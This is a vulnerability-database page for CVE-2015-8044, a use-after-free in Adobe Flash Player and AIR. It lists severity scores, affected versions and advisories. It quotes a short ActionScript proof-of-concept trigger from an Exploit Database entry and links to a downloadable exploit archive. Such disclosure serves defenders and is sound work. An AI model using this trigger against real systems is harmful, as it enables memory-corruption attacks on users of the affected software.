CVE-2015-8044 : Detail

CVE-2015-8044

57.85%V3
Network
2015-11-11
10h00 +00:00
2017-06-30
14h57 +00:00
CVE.org
NVD
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CVE Descriptions

Use-after-free vulnerability in Adobe Flash Player before 18.0.0.261 and 19.x before 19.0.0.245 on Windows and OS X and before 11.2.202.548 on Linux, Adobe AIR before 19.0.0.241, Adobe AIR SDK before 19.0.0.241, and Adobe AIR SDK & Compiler before 19.0.0.241 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-7651, CVE-2015-7652, CVE-2015-7653, CVE-2015-7654, CVE-2015-7655, CVE-2015-7656, CVE-2015-7657, CVE-2015-7658, CVE-2015-7660, CVE-2015-7661, CVE-2015-7663, CVE-2015-8042, CVE-2015-8043, and CVE-2015-8046.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 39021

Publication date : 2015-12-16 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=558 There are a number of use-after-frees in MovieClip.lineStyle. If any of the String parameters are an object with toString defined, the toString method can delete the MovieClip, which is subsequently used. A PoC is as follows: this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth()); var o = {toString: func}; triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1); function func(){ triangle_mc.removeMovieClip(); return "none"; } A sample swf and fla are attached. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39021.zip

Products Mentioned

Configuraton 0

Adobe>>Air >> Version To (including) 19.0.0.213

Apple>>Mac_os_x >> Version -

Microsoft>>Windows >> Version -

Configuraton 0

Adobe>>Flash_player >> Version To (including) 11.2.202.540

Linux>>Linux_kernel >> Version -

Configuraton 0

Adobe>>Air >> Version To (including) 19.0.0.190

Google>>Android >> Version *

Configuraton 0

Adobe>>Flash_player >> Version To (including) 18.0.0.255

Adobe>>Flash_player >> Version 19.0.0.185

Adobe>>Flash_player >> Version 19.0.0.207

Adobe>>Flash_player >> Version 19.0.0.226

Apple>>Mac_os_x >> Version -

Microsoft>>Windows >> Version -

Configuraton 0

Adobe>>Air_sdk >> Version To (including) 19.0.0.213

Adobe>>Air_sdk_\&_compiler >> Version To (including) 19.0.0.213

Apple>>Iphone_os >> Version *

Apple>>Mac_os_x >> Version -

Google>>Android >> Version *

Microsoft>>Windows >> Version -

References

http://www.securitytracker.com/id/1034111
Tags : vdb-entry, x_refsource_SECTRACK
http://rhn.redhat.com/errata/RHSA-2015-2024.html
Tags : vendor-advisory, x_refsource_REDHAT
https://security.gentoo.org/glsa/201511-02
Tags : vendor-advisory, x_refsource_GENTOO
http://www.securityfocus.com/bid/77533
Tags : vdb-entry, x_refsource_BID
http://rhn.redhat.com/errata/RHSA-2015-2023.html
Tags : vendor-advisory, x_refsource_REDHAT